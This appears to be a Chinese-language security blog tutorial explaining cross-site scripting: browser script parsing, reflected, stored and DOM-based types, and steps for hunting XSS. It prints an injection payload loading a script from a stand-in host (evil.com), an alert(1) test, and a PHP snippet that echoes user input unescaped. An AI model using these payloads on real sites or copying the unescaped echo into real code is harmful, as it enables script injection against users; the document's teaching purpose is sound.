什么是XSS
文章目录
- 前言
- 1. 前端知识
- 2. 什么是XSS
- 3. 漏洞挖掘
- 4. 参考
前言
之前对XSS的理解就是停留在弹窗,认为XSS这种漏洞真的是漏洞吗?
安全学习了蛮久了,也应该对XSS有更进一步的认识了。
1. 前端知识
现代浏览器是一个高度复杂的软件系统,由多个核心组件协同工作,旨在高效、安全地呈现网页内容并执行交互逻辑。对一般用户来讲,其主要功能就是向服务器发出请求,在窗口中展示用户所选择的网络资源。这里所说的资源一般是HTML文档,也可以是PDF、图片等其他类型。资源的位置由用户使用URI指定。
说白了,浏览器这个软件,可以通过网络下载资源并展示,主要是一种叫HTML格式文本文档。我们来看一个网页问文档:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>HTML文档</title>
</head>
<body>
<p id="p1">The current date and time is:
<script type="text/javascript">
document.write("<script>" + "alert(1)"+ "<\/script>")
document.getElementById('p1').innerHTML = new Date()
</script>
</p>
</body>
</html>
浏览器的渲染引擎中的核心模块HTML解析器会逐行解析这个HTML文本文件输出内容,遇到<script></script>
这个标签时,会将其内的文本交给JavaScript引擎解释执行。如果用户提交的输入(数据)被解析为Js代码(指令),即产生XSS漏洞。
2. 什么是XSS
我们从它的名字开始,Cross-site Scripting
,这个scripting
带ing
,应该理解为一个动名词,“脚本+执行”的意思,全部翻译过来就是跨站点的脚本执行
。顾名思义就是第三方站点的(恶意的)脚本执行
重点应该是放在scripting-脚本执行
上,而不是cross-site -- 跨站
上。
- “跨站”是因为绝大多数XSS攻击都是加载
远程/第三方域
上的脚本,因为很多时候输入的内容都是有长度限制的。真正的XSS攻击<script>alert(1)</script>
弹窗毫无意义,所以攻击代码会比较长,一般会注入类似下面这样的代码来引入第三方遇上的脚本资源
<script src="http://www.evil.com/xss.js"></script>
- 脚本执行才是我们根本想要的东西,将我们的“恶意脚本”放在在目标用户的浏览器上执行
上代码:xss.php
$selectChar = $_GET['key']; //接收前端提交的数据
/*
可能是数据库查询,又或者是其他业务逻辑
*/
echo $selectChar; //将来自前端的数据写入响应
最常见的一个场景:搜索框,返回搜索结果的时候通常会显示“xxxx的搜索结果”,如果提交的攻击字符串后端接收后不经过滤直接返回,前端浏览器将该字符串解析为JavaScript代码执行,即产生了XSS。提取用户提交的输入并将其插入到服务器响应的HTML代码中,是XSS漏洞的一个显著特征。如果应用程序没有实施任何过滤或精华措施,那么它很容易受到攻击。
我们用一些Web应用常见的功能点/典型的应用场景,来区分XSS的类型:
- 反射型XSS
搜索框就是一个典型的反射型XSS,用户提交的输入经后端直接返回,造成Js代码执行。 - 存储型XSS
留言板/评论区,用户提交的输入是存储在服务器(不管是内存、数据库还hi文件系统),其他用户请求页面时,留言/评论也会一起加载,造成Js代码执行 - DOM型XSS
DOM型XSS不需要服务器解析响应的直接参与,由DOM(Document Object Model)解析渲染造成Js代码执行。DOM是一套API规范,浏览器实现并提供了DOM API 供网页开发者操作HTML文档。通俗地讲,DOM就是浏览器内置给Js引擎的对象,允许我们对HTML文件中的标签进行增上改查。浏览器通过document对象获取URL中的数据,直接解析为JS代码执行,不需要服务器的参与,就是DOM型XSS。
3. 漏洞挖掘
- 在每个输入点提交一个良性字符串
- 监控字符串在`响应/页面“中的是否出现及其出现的位置
- 对于每个响应,确定显示数据时的上下文
- 针对语法上下文尝试引入Js脚本
4. 参考
[1] https://web.dev/howbrowserswork/#The_browser_main_functionality
[2] 《Web前端黑客技术揭秘》
[3] 《黑客攻防技术宝典 Web实战篇》
[4] 小迪安全v2023
[5] deepseek